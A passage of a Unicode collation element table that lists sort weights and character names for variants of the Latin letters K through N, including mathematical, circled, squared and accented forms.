ITALIC CAPITAL K -1D67A ; [.1D65.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL K -24C0 ; [.1D65.0020.000C] # CIRCLED LATIN CAPITAL LETTER K -1F15A ; [.1D65.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER K -1D4F ; [.1D65.0020.0014] # MODIFIER LETTER SMALL K -2096 ; [.1D65.0020.0015] # LATIN SUBSCRIPT SMALL LETTER K -1D37 ; [.1D65.0020.001D] # MODIFIER LETTER CAPITAL K -1F13A ; [.1D65.0020.001D] # SQUARED LATIN CAPITAL LETTER K -1F17A ; [.1D65.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER K -1E31 ; [.1D65.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER K WITH ACUTE -1E30 ; [.1D65.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER K WITH ACUTE -01E9 ; [.1D65.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER K WITH CARON -01E8 ; [.1D65.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER K WITH CARON -0137 ; [.1D65.0020.0002][.0000.0030.0002] # LATIN SMALL LETTER K WITH CEDILLA -0136 ; [.1D65.0020.0008][.0000.0030.0002] # LATIN CAPITAL LETTER K WITH CEDILLA -A7A3 ; [.1D65.0020.0004][.0000.0035.0004] # LATIN SMALL LETTER K WITH OBLIQUE STROKE -A7A2 ; [.1D65.0020.000A][.0000.0035.0004] # LATIN CAPITAL LETTER K WITH OBLIQUE STROKE -1E33 ; [.1D65.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER K WITH DOT BELOW -1E32 ; [.1D65.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER K WITH DOT BELOW -1E35 ; [.1D65.0020.0002][.0000.0049.0002] # LATIN SMALL LETTER K WITH LINE BELOW -1E34 ; [.1D65.0020.0008][.0000.0049.0002] # LATIN CAPITAL LETTER K WITH LINE BELOW -3384 ; [.1D65.0020.001C][.1C47.0020.001D] # SQUARE KA -3385 ; [.1D65.0020.001D][.1C60.0020.001D] # SQUARE KB -3389 ; [.1D65.0020.001C][.1C7A.0020.001C][.1C47.0020.001C][.1D77.0020.001C] # SQUARE KCAL -338F ; [.1D65.0020.001C][.1CF4.0020.001C] # SQUARE KG -3391 ; [.1D65.0020.001C][.1D18.0020.001D][.1F21.0020.001C] # SQUARE KHZ -33CD ; [.1D65.0020.001D][.1D65.0020.001D] # SQUARE KK -3398 ; [.1D65.0020.001C][.1D77.0020.001C] # SQUARE KL -339E ; [.1D65.0020.001C][.1DAA.0020.001C] # SQUARE KM -33CE ; [.1D65.0020.001D][.1DAA.0020.001D] # SQUARE KM CAPITAL -33A2 ; [.1D65.0020.001C][.1DAA.0020.001C][.1C3F.0020.001C] # SQUARE KM SQUARED -33A6 ; [.1D65.0020.001C][.1DAA.0020.001C][.1C40.0020.001C] # SQUARE KM CUBED -33AA ; [.1D65.0020.001C][.1E0C.0020.001D][.1C47.0020.001C] # SQUARE KPA -33CF ; [.1D65.0020.001C][.1E95.0020.001C] # SQUARE KT -33B8 ; [.1D65.0020.001C][.1EE3.0020.001D] # SQUARE KV -33BE ; [.1D65.0020.001C][.1EF5.0020.001D] # SQUARE KW -33C0 ; [.1D65.0020.001C][.1FE1.0020.001D] # SQUARE K OHM -1D0B ; [.1D69.0020.0002] # LATIN LETTER SMALL CAPITAL K -1D84 ; [.1D6A.0020.0002] # LATIN SMALL LETTER K WITH PALATAL HOOK -0199 ; [.1D6B.0020.0002] # LATIN SMALL LETTER K WITH HOOK -0198 ; [.1D6B.0020.0008] # LATIN CAPITAL LETTER K WITH HOOK -2C6A ; [.1D6F.0020.0002] # LATIN SMALL LETTER K WITH DESCENDER -2C69 ; [.1D6F.0020.0008] # LATIN CAPITAL LETTER K WITH DESCENDER -A741 ; [.1D70.0020.0002] # LATIN SMALL LETTER K WITH STROKE -A740 ; [.1D70.0020.0008] # LATIN CAPITAL LETTER K WITH STROKE -A743 ; [.1D71.0020.0002] # LATIN SMALL LETTER K WITH DIAGONAL STROKE -A742 ; [.1D71.0020.0008] # LATIN CAPITAL LETTER K WITH DIAGONAL STROKE -A745 ; [.1D72.0020.0002] # LATIN SMALL LETTER K WITH STROKE AND DIAGONAL STROKE -A744 ; [.1D72.0020.0008] # LATIN CAPITAL LETTER K WITH STROKE AND DIAGONAL STROKE -029E ; [.1D73.0020.0002] # LATIN SMALL LETTER TURNED K -A7B0 ; [.1D73.0020.0008] # LATIN CAPITAL LETTER TURNED K -006C ; [.1D77.0020.0002] # LATIN SMALL LETTER L -FF4C ; [.1D77.0020.0003] # FULLWIDTH LATIN SMALL LETTER L -1DDD ; [.1D77.0020.0004] # COMBINING LATIN SMALL LETTER L -217C ; [.1D77.0020.0004] # SMALL ROMAN NUMERAL FIFTY -24A7 ; [*0317.0020.0004][.1D77.0020.0004][*0318.0020.0004] # PARENTHESIZED LATIN SMALL LETTER L -2113 ; [.1D77.0020.0005] # SCRIPT SMALL L -1D425 ; [.1D77.0020.0005] # MATHEMATICAL BOLD SMALL L -1D459 ; [.1D77.0020.0005] # MATHEMATICAL ITALIC SMALL L -1D48D ; [.1D77.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL L -1D4C1 ; [.1D77.0020.0005] # MATHEMATICAL SCRIPT SMALL L -1D4F5 ; [.1D77.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL L -1D529 ; [.1D77.0020.0005] # MATHEMATICAL FRAKTUR SMALL L -1D55D ; [.1D77.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL L -1D591 ; [.1D77.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL L -1D5C5 ; [.1D77.0020.0005] # MATHEMATICAL SANS-SERIF SMALL L -1D5F9 ; [.1D77.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL L -1D62D ; [.1D77.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL L -1D661 ; [.1D77.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL L -1D695 ; [.1D77.0020.0005] # MATHEMATICAL MONOSPACE SMALL L -24DB ; [.1D77.0020.0006] # CIRCLED LATIN SMALL LETTER L -004C ; [.1D77.0020.0008] # LATIN CAPITAL LETTER L -FF2C ; [.1D77.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER L -216C ; [.1D77.0020.000A] # ROMAN NUMERAL FIFTY -1F11B ; [*0317.0020.0004][.1D77.0020.000A][*0318.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER L -2112 ; [.1D77.0020.000B] # SCRIPT CAPITAL L -1D40B ; [.1D77.0020.000B] # MATHEMATICAL BOLD CAPITAL L -1D43F ; [.1D77.0020.000B] # MATHEMATICAL ITALIC CAPITAL L -1D473 ; [.1D77.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL L -1D4DB ; [.1D77.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL L -1D50F ; [.1D77.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL L -1D543 ; [.1D77.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL L -1D577 ; [.1D77.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL L -1D5AB ; [.1D77.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL L -1D5DF ; [.1D77.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL L -1D613 ; [.1D77.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL L -1D647 ; [.1D77.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL L -1D67B ; [.1D77.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL L -24C1 ; [.1D77.0020.000C] # CIRCLED LATIN CAPITAL LETTER L -1F15B ; [.1D77.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER L -02E1 ; [.1D77.0020.0014] # MODIFIER LETTER SMALL L -2097 ; [.1D77.0020.0015] # LATIN SUBSCRIPT SMALL LETTER L -1D38 ; [.1D77.0020.001D] # MODIFIER LETTER CAPITAL L -1F13B ; [.1D77.0020.001D] # SQUARED LATIN CAPITAL LETTER L -1F17B ; [.1D77.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER L -013A ; [.1D77.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER L WITH ACUTE -0139 ; [.1D77.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER L WITH ACUTE -013E ; [.1D77.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER L WITH CARON -013D ; [.1D77.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER L WITH CARON -013C ; [.1D77.0020.0002][.0000.0030.0002] # LATIN SMALL LETTER L WITH CEDILLA -013B ; [.1D77.0020.0008][.0000.0030.0002] # LATIN CAPITAL LETTER L WITH CEDILLA -0142 ; [.1D77.0020.0002][.0000.0039.0002] # LATIN SMALL LETTER L WITH STROKE -0141 ; [.1D77.0020.0008][.0000.0039.0002] # LATIN CAPITAL LETTER L WITH STROKE -1E37 ; [.1D77.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER L WITH DOT BELOW -1E36 ; [.1D77.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER L WITH DOT BELOW -1E39 ; [.1D77.0020.0002][.0000.0042.0002][.0000.0032.0002] # LATIN SMALL LETTER L WITH DOT BELOW AND MACRON -1E38 ; [.1D77.0020.0008][.0000.0042.0002][.0000.0032.0002] # LATIN CAPITAL LETTER L WITH DOT BELOW AND MACRON -1E3D ; [.1D77.0020.0002][.0000.0046.0002] # LATIN SMALL LETTER L WITH CIRCUMFLEX BELOW -1E3C ; [.1D77.0020.0008][.0000.0046.0002] # LATIN CAPITAL LETTER L WITH CIRCUMFLEX BELOW -1E3B ; [.1D77.0020.0002][.0000.0049.0002] # LATIN SMALL LETTER L WITH LINE BELOW -1E3A ; [.1D77.0020.0008][.0000.0049.0002] # LATIN CAPITAL LETTER L WITH LINE BELOW -0140 ; [.1D77.0020.0002][.0000.0110.0002] # LATIN SMALL LETTER L WITH MIDDLE DOT -006C 00B7 ; [.1D77.0020.0002][.0000.0110.0002] # LATIN SMALL LETTER L WITH MIDDLE DOT -006C 0387 ; [.1D77.0020.0002][.0000.0110.0002] # LATIN SMALL LETTER L WITH MIDDLE DOT -013F ; [.1D77.0020.0008][.0000.0110.0002] # LATIN CAPITAL LETTER L WITH MIDDLE DOT -004C 00B7 ; [.1D77.0020.0008][.0000.0110.0002] # LATIN CAPITAL LETTER L WITH MIDDLE DOT -004C 0387 ; [.1D77.0020.0008][.0000.0110.0002] # LATIN CAPITAL LETTER L WITH MIDDLE DOT -01C9 ; [.1D77.0020.0004][.1D4C.0020.0004] # LATIN SMALL LETTER LJ -01C8 ; [.1D77.0020.000A][.1D4C.0020.0004] # LATIN CAPITAL LETTER L WITH SMALL LETTER J -01C7 ; [.1D77.0020.000A][.1D4C.0020.000A] # LATIN CAPITAL LETTER LJ -1EFB ; [.1D77.0020.0004][.1D77.0020.0004] # LATIN SMALL LETTER MIDDLE-WELSH LL -1EFA ; [.1D77.0020.000A][.1D77.0020.000A] # LATIN CAPITAL LETTER MIDDLE-WELSH LL -33D0 ; [.1D77.0020.001C][.1DAA.0020.001C] # SQUARE LM -33D1 ; [.1D77.0020.001C][.1DB9.0020.001C] # SQUARE LN -33D2 ; [.1D77.0020.001C][.1DDD.0020.001C][.1CF4.0020.001C] # SQUARE LOG -1F1A9 ; [.1D77.0020.001D][.1DDD.0020.001C][.1E71.0020.001C][.1E71.0020.001C][.1D77.0020.001C][.1CAA.0020.001C][.1E71.0020.001C][.1E71.0020.001C] # SQUARED LOSSLESS -02AA ; [.1D77.0020.0004][.1E71.0020.0004] # LATIN SMALL LETTER LS DIGRAPH -32CF ; [.1D77.0020.001D][.1E95.0020.001D][.1C8F.0020.001D] # LIMITED LIABILITY SIGN -33D3 ; [.1D77.0020.001C][.1EFF.0020.001C] # SQUARE LX -02AB ; [.1D77.0020.0004][.1F21.0020.0004] # LATIN SMALL LETTER LZ DIGRAPH -029F ; [.1D7B.0020.0002] # LATIN LETTER SMALL CAPITAL L -1DDE ; [.1D7B.0020.0004] # COMBINING LATIN LETTER SMALL CAPITAL L -1DAB ; [.1D7B.0020.0014] # MODIFIER LETTER SMALL CAPITAL L -A747 ; [.1D7F.0020.0002] # LATIN SMALL LETTER BROKEN L -A746 ; [.1D7F.0020.0008] # LATIN CAPITAL LETTER BROKEN L -1D0C ; [.1D80.0020.0002] # LATIN LETTER SMALL CAPITAL L WITH STROKE -A749 ; [.1D81.0020.0002] # LATIN SMALL LETTER L WITH HIGH STROKE -A748 ; [.1D81.0020.0008] # LATIN CAPITAL LETTER L WITH HIGH STROKE -019A ; [.1D82.0020.0002] # LATIN SMALL LETTER L WITH BAR -023D ; [.1D82.0020.0008] # LATIN CAPITAL LETTER L WITH BAR -2C61 ; [.1D86.0020.0002] # LATIN SMALL LETTER L WITH DOUBLE BAR -2C60 ; [.1D86.0020.0008] # LATIN CAPITAL LETTER L WITH DOUBLE BAR -026B ; [.1D87.0020.0002] # LATIN SMALL LETTER L WITH MIDDLE TILDE -2C62 ; [.1D87.0020.0008] # LATIN CAPITAL LETTER L WITH MIDDLE TILDE -AB5E ; [.1D87.0020.0014] # MODIFIER LETTER SMALL L WITH MIDDLE TILDE -AB38 ; [.1D8B.0020.0002] # LATIN SMALL LETTER L WITH DOUBLE MIDDLE TILDE -1DEC ; [.1D8B.0020.0004] # COMBINING LATIN SMALL LETTER L WITH DOUBLE MIDDLE TILDE -AB39 ; [.1D8C.0020.0002] # LATIN SMALL LETTER L WITH MIDDLE RING -026C ; [.1D8D.0020.0002] # LATIN SMALL LETTER L WITH BELT -A7AD ; [.1D8D.0020.0008] # LATIN CAPITAL LETTER L WITH BELT -AB37 ; [.1D91.0020.0002] # LATIN SMALL LETTER L WITH INVERTED LAZY S -AB5D ; [.1D91.0020.0014] # MODIFIER LETTER SMALL L WITH INVERTED LAZY S -1D85 ; [.1D92.0020.0002] # LATIN SMALL LETTER L WITH PALATAL HOOK -1DAA ; [.1D92.0020.0014] # MODIFIER LETTER SMALL L WITH PALATAL HOOK -026D ; [.1D93.0020.0002] # LATIN SMALL LETTER L WITH RETROFLEX HOOK -1DA9 ; [.1D93.0020.0014] # MODIFIER LETTER SMALL L WITH RETROFLEX HOOK -A78E ; [.1D97.0020.0002] # LATIN SMALL LETTER L WITH RETROFLEX HOOK AND BELT -0234 ; [.1D98.0020.0002] # LATIN SMALL LETTER L WITH CURL -A772 ; [.1D9C.0020.0002] # LATIN SMALL LETTER LUM -026E ; [.1D9D.0020.0002] # LATIN SMALL LETTER LEZH -A781 ; [.1DA1.0020.0002] # LATIN SMALL LETTER TURNED L -A780 ; [.1DA1.0020.0008] # LATIN CAPITAL LETTER TURNED L -019B ; [.1DA2.0020.0002] # LATIN SMALL LETTER LAMBDA WITH STROKE -028E ; [.1DA6.0020.0002] # LATIN SMALL LETTER TURNED Y -006D ; [.1DAA.0020.0002] # LATIN SMALL LETTER M -FF4D ; [.1DAA.0020.0003] # FULLWIDTH LATIN SMALL LETTER M -036B ; [.1DAA.0020.0004] # COMBINING LATIN SMALL LETTER M -217F ; [.1DAA.0020.0004] # SMALL ROMAN NUMERAL ONE THOUSAND -24A8 ; [*0317.0020.0004][.1DAA.0020.0004][*0318.0020.0004] # PARENTHESIZED LATIN SMALL LETTER M -1D426 ; [.1DAA.0020.0005] # MATHEMATICAL BOLD SMALL M -1D45A ; [.1DAA.0020.0005] # MATHEMATICAL ITALIC SMALL M -1D48E ; [.1DAA.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL M -1D4C2 ; [.1DAA.0020.0005] # MATHEMATICAL SCRIPT SMALL M -1D4F6 ; [.1DAA.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL M -1D52A ; [.1DAA.0020.0005] # MATHEMATICAL FRAKTUR SMALL M -1D55E ; [.1DAA.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL M -1D592 ; [.1DAA.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL M -1D5C6 ; [.1DAA.0020.0005] # MATHEMATICAL SANS-SERIF SMALL M -1D5FA ; [.1DAA.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL M -1D62E ; [.1DAA.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL M -1D662 ; [.1DAA.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL M -1D696 ; [.1DAA.0020.0005] # MATHEMATICAL MONOSPACE SMALL M -24DC ; [.1DAA.0020.0006] # CIRCLED LATIN SMALL LETTER M -004D ; [.1DAA.0020.0008] # LATIN CAPITAL LETTER M -FF2D ; [.1DAA.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER M -216F ; [.1DAA.0020.000A] # ROMAN NUMERAL ONE THOUSAND -1F11C ; [*0317.0020.0004][.1DAA.0020.000A][*0318.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER M -2133 ; [.1DAA.0020.000B] # SCRIPT CAPITAL M -1D40C ; [.1DAA.0020.000B] # MATHEMATICAL BOLD CAPITAL M -1D440 ; [.1DAA.0020.000B] # MATHEMATICAL ITALIC CAPITAL M -1D474 ; [.1DAA.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL M -1D4DC ; [.1DAA.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL M -1D510 ; [.1DAA.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL M -1D544 ; [.1DAA.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL M -1D578 ; [.1DAA.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL M -1D5AC ; [.1DAA.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL M -1D5E0 ; [.1DAA.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL M -1D614 ; [.1DAA.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL M -1D648 ; [.1DAA.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL M -1D67C ; [.1DAA.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL M -24C2 ; [.1DAA.0020.000C] # CIRCLED LATIN CAPITAL LETTER M -1F15C ; [.1DAA.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER M -1D50 ; [.1DAA.0020.0014] # MODIFIER LETTER SMALL M -2098 ; [.1DAA.0020.0015] # LATIN SUBSCRIPT SMALL LETTER M -1D39 ; [.1DAA.0020.001D] # MODIFIER LETTER CAPITAL M -1F13C ; [.1DAA.0020.001D] # SQUARED LATIN CAPITAL LETTER M -1F17C ; [.1DAA.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER M -1E3F ; [.1DAA.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER M WITH ACUTE -1E3E ; [.1DAA.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER M WITH ACUTE -1E41 ; [.1DAA.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER M WITH DOT ABOVE -1E40 ; [.1DAA.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER M WITH DOT ABOVE -1E43 ; [.1DAA.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER M WITH DOT BELOW -1E42 ; [.1DAA.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER M WITH DOT BELOW -33A1 ; [.1DAA.0020.001C][.1C3F.0020.001C] # SQUARE M SQUARED -33A5 ; [.1DAA.0020.001C][.1C40.0020.001C] # SQUARE M CUBED -3383 ; [.1DAA.0020.001C][.1C47.0020.001D] # SQUARE MA -33D4 ; [.1DAA.0020.001C][.1C60.0020.001C] # SQUARE MB SMALL -3386 ; [.1DAA.0020.001D][.1C60.0020.001D] # SQUARE MB -1F16A ; [.1DAA.0020.0014][.1C7A.0020.0014] # RAISED MC SIGN -1F16B ; [.1DAA.0020.0014][.1C8F.0020.0014] # RAISED MD SIGN -338E ; [.1DAA.0020.001C][.1CF4.0020.001C] # SQUARE MG -3392 ; [.1DAA.0020.001D][.1D18.0020.001D][.1F21.0020.001C] # SQUARE MHZ -33D5 ; [.1DAA.0020.001C][.1D32.0020.001C][.1D77.0020.001C] # SQUARE MIL -3396 ; [.1DAA.0020.001C][.1D77.0020.001C] # SQUARE ML -339C ; [.1DAA.0020.001C][.1DAA.0020.001C] # SQUARE MM -339F ; [.1DAA.0020.001C][.1DAA.0020.001C][.1C3F.0020.001C] # SQUARE MM SQUARED -33A3 ; [.1DAA.0020.001C][.1DAA.0020.001C][.1C40.0020.001C] # SQUARE MM CUBED -33D6 ; [.1DAA.0020.001C][.1DDD.0020.001C][.1D77.0020.001C] # SQUARE MOL -33AB ; [.1DAA.0020.001D][.1E0C.0020.001D][.1C47.0020.001C] # SQUARE MPA -33A7 ; [.1DAA.0020.001C][*0625.0020.001C][.1E71.0020.001C] # SQUARE M OVER S -33B3 ; [.1DAA.0020.001C][.1E71.0020.001C] # SQUARE MS -33A8 ; [.1DAA.0020.001C][*0625.0020.001C][.1E71.0020.001C][.1C3F.0020.001C] # SQUARE M OVER S SQUARED -33B7 ; [.1DAA.0020.001C][.1EE3.0020.001D] # SQUARE MV -33B9 ; [.1DAA.0020.001D][.1EE3.0020.001D] # SQUARE MV MEGA -1F14B ; [.1DAA.0020.001D][.1EE3.0020.001D] # SQUARED MV -33BD ; [.1DAA.0020.001C][.1EF5.0020.001D] # SQUARE MW -33BF ; [.1DAA.0020.001D][.1EF5.0020.001D] # SQUARE MW MEGA -33C1 ; [.1DAA.0020.001D][.1FE1.0020.001D] # SQUARE M OHM -1D0D ; [.1DAE.0020.0002] # LATIN LETTER SMALL CAPITAL M -1DDF ; [.1DAE.0020.0004] # COMBINING LATIN LETTER SMALL CAPITAL M -1D6F ; [.1DAF.0020.0002] # LATIN SMALL LETTER M WITH MIDDLE TILDE -1D86 ; [.1DB0.0020.0002] # LATIN SMALL LETTER M WITH PALATAL HOOK -0271 ; [.1DB1.0020.0002] # LATIN SMALL LETTER M WITH HOOK -2C6E ; [.1DB1.0020.0008] # LATIN CAPITAL LETTER M WITH HOOK -1DAC ; [.1DB1.0020.0014] # MODIFIER LETTER SMALL M WITH HOOK -AB3A ; [.1DB5.0020.0002] # LATIN SMALL LETTER M WITH CROSSED-TAIL -A7FD ; [.1DB6.0020.0002] # LATIN EPIGRAPHIC LETTER INVERTED M -A7FF ; [.1DB7.0020.0002] # LATIN EPIGRAPHIC LETTER ARCHAIC M -A773 ; [.1DB8.0020.0002] # LATIN SMALL LETTER MUM -006E ; [.1DB9.0020.0002] # LATIN SMALL LETTER N -FF4E ; [.1DB9.0020.0003] # FULLWIDTH LATIN SMALL LETTER N -1DE0 ; [.1DB9.0020.0004] # COMBINING LATIN SMALL LETTER N -24A9 ; [*0317.0020.0004][.1DB9.0020.0004][*0318.0020.0004] # PARENTHESIZED LATIN SMALL LETTER N -1D427 ; [.1DB9.0020.0005] # MATHEMATICAL BOLD SMALL N -1D45B ; [.1DB9.0020.0005] # MATHEMATICAL ITALIC SMALL N -1D48F ; [.1DB9.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL N -1D4C3 ; [.1DB9.0020.0005] # MATHEMATICAL SCRIPT SMALL N -1D4F7 ; [.1DB9.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL N -1D52B ; [.1DB9.0020.0005] # MATHEMATICAL FRAKTUR SMALL N -1D55F ; [.1DB9.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL N -1D593 ; [.1DB9.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL N -1D5C7 ; [.1DB9.0020.0005] # MATHEMATICAL SANS-SERIF SMALL N -1D5FB ; [.1DB9.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL N -1D62F ; [.1DB9.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL N -1D663 ; [.1DB9.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL N -1D697 ; [.1DB9.0020.0005] # MATHEMATICAL MONOSPACE SMALL N -24DD ; [.1DB9.0020.0006] # CIRCLED LATIN SMALL LETTER N -004E ; [.1DB9.0020.0008] # LATIN CAPITAL LETTER N -FF2E ; [.1DB9.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER N -1F11D ; [*0317.0020.0004][.1DB9.0020.000A][*0318.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER N -2115 ; [.1DB9.0020.000B] # DOUBLE-STRUCK CAPITAL N -1D40D ; [.1DB9.0020.000B] # MATHEMATICAL BOLD CAPITAL N -1D441 ; [.1DB9.0020.000B] # MATHEMATICAL ITALIC CAPITAL N -1D475 ; [.1DB9.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL N -1D4A9 ; [.1DB9.0020.000B] # MATHEMATICAL SCRIPT CAPITAL N -1D4DD ; [.1DB9.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL N -1D511 ; [.1DB9.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL N -1D579 ; [.1DB9.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL N -1D5AD ; [.1DB9.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL N -1D5E1 ; [.1DB9.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL N -1D615 ; [.1DB9.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL N -1D649 ; [.1DB9.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL N -1D67D ; [.1DB9.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL N -24C3 ; [.1DB9.0020.000C] # CIRCLED LATIN CAPITAL LETTER N -1F15D ; [.1DB9.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER N -207F ; [.1DB9.0020.0014] # SUPERSCRIPT LATIN SMALL LETTER N -2099 ; [.1DB9.0020.0015] # LATIN SUBSCRIPT SMALL LETTER N -1D3A ; [.1DB9.0020.001D] # MODIFIER LETTER CAPITAL N -1F13D ; [.1DB9.0020.001D] # SQUARED LATIN CAPITAL LETTER N -1F17D ; [.1DB9.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER N -0144 ; [.1DB9.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER N WITH ACUTE -0143 ; [.1DB9.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER N WITH ACUTE -01F9 ; [.1DB9.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER N WITH GRAVE -01F8 ; [.1DB9.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER N WITH GRAVE -0148 ; [.1DB9.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER N WITH CARON -0147 ; [.1DB9.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER N WITH CARON -00F1 ; [.1DB9.0020.0002][.0000.002D.0002] # LATIN SMALL LETTER N WITH TILDE -00D1 ; [.1DB9.0020.0008][.0000.002D.0002] # LATIN CAPITAL LETTER N WITH TILDE -1E45 ; [.1DB9.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER N WITH DOT ABOVE -1E44 ; [.1DB9.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER N WITH DOT ABOVE -0146 ; [.1DB9.0020.0002][.0000.0030.0002] # LATIN SMALL LETTER N WITH CEDILLA -0145 ; [.1DB9.0020.0008][.0000.0030.0002] # LATIN CAPITAL LETTER N WITH CEDILLA -A7A5 ; [.1DB9.0020.0004][.0000.0035.0004] # LATIN SMALL LETTER N WITH OBLIQUE STROKE -A7A4 ; [.1DB9.0020.000A][.0000.0035.0004] # LATIN CAPITAL LETTER N WITH OBLIQUE STROKE -1E47 ; [.1DB9.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER N WITH DOT BELOW -1E46 ; [.1DB9.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER N WITH DOT BELOW -1E4B ; [.1DB9.0020.0002][.0000.0046.0002] # LATIN SMALL LETTER N WITH CIRCUMFLEX BELOW -1E4A ; [.1DB9.0020.0008][.0000.0046.0002] # LATIN CAPITAL LETTER N WITH CIRCUMFLEX BELOW -1E49 ; [.1DB9.0020.0002][.0000.0049.0002] # LATIN SMALL LETTER N WITH LINE BELOW -1E48 ; [.1DB9.0020.0008][.0000.0049.0002] # LATIN CAPITAL LETTER N WITH LINE BELOW -3381 ; [.1DB9.0020.001C][.1C47.0020.001D] # SQUARE NA -1F195 ; [.1DB9.0020.001D][.1CAA.0020.001D][.1EF5.0020.001D] # SQUARED NEW -338B ; [.1DB9.0020.001C][.1CE5.0020.001D] # SQUARE NF -1F196 ; [.1DB9.0020.001D][.1CF4.0020.001D] # SQUARED NG -01CC ; [.1DB9.0020.0004][.1D4C.0020.0004] # LATIN SMALL LETTER NJ -01CB ; [.1DB9.0020.000A][.1D4C.0020.0004] # LATIN CAPITAL LETTER N WITH SMALL LETTER J -01CA ; [.1DB9.0020.000A][.1D4C.0020.000A] # LATIN CAPITAL LETTER NJ -339A ; [.1DB9.0020.001C][.1DAA.0020.001C] # SQUARE NM -2116 ; [.1DB9.0020.000A][.1DDD.0020.0004] # NUMERO SIGN -33B1 ; [.1DB9.0020.001C][.1E71.0020.001C] # SQUARE NS -33B5 ; [.1DB9.0020.001C][.1EE3.0020.001D] # SQUARE NV -33BB ; [.1DB9.0020.001C][.1EF5.0020.001D] # SQUARE NW -0274 ; [.1DBD.0020.0002] # LATIN LETTER SMALL CAPITAL N -1DE1 ; [.1DBD.0020.0004] # COMBINING LATIN LETTER SMALL CAPITAL N -1DB0 ; 